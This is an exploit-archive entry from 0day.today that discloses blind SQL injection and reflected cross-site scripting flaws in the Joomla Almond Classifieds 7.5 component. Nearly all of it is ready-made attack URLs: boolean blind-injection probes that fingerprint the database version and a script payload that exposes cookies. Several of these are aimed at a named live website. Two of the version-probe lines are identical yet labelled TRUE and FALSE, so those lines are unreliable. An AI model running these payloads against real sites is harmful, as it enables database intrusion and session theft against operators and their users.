Joomla Almond Classifieds 7.5 (com_aclassf) Multiple Vulnerabilities

2009-07-27T00:00:00
ID 1337DAY-ID-5546
Type zdt
Reporter Moudi
Modified 2009-07-27T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ====================================================================
Joomla Almond Classifieds 7.5 (com_aclassf) Multiple Vulnerabilities
====================================================================


==============================================================================
        [»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [»] Joomla Component v.7.5 (com_aclassf) Multiple Remote Vulnerabilities
==============================================================================

	[»] Script:             [ Joomla Almond Classifieds v.7.5 ]
	[»] Language:           [ PHP ]
        [»] Download:           [ http://www.almondsoft.com  ]
        [»] Team:               [ EvilWay ]
        [»] Dork:               [ OFF ]
        [»] Price:              [ $195 ]

###########################################################################

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]===	
	
[»] http://www.site.com/patch/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=[BLIND]

[»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438   and 1=1 <= TRUE
[»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438   and 1=2 <= FALSE

[»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438+AND SUBSTRING(@@version,1,1)=5
    => TRUE
[»] http://www.almondsoft.com/j/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=11438+AND SUBSTRING(@@version,1,1)=5
    => FALSE

===[ Exploit XSS + LIVE : vulnerability ]===

[»] http://www.site.com/patch/components/com_aclassf/gmap.php?addr=[XSS]

[»] http://www.almondsoft.com/j/components/com_aclassf/gmap.php?addr="><script>alert(document.cookie);</script>

Author: Moudi

###########################################################################




#  0day.today [2018-01-05]  #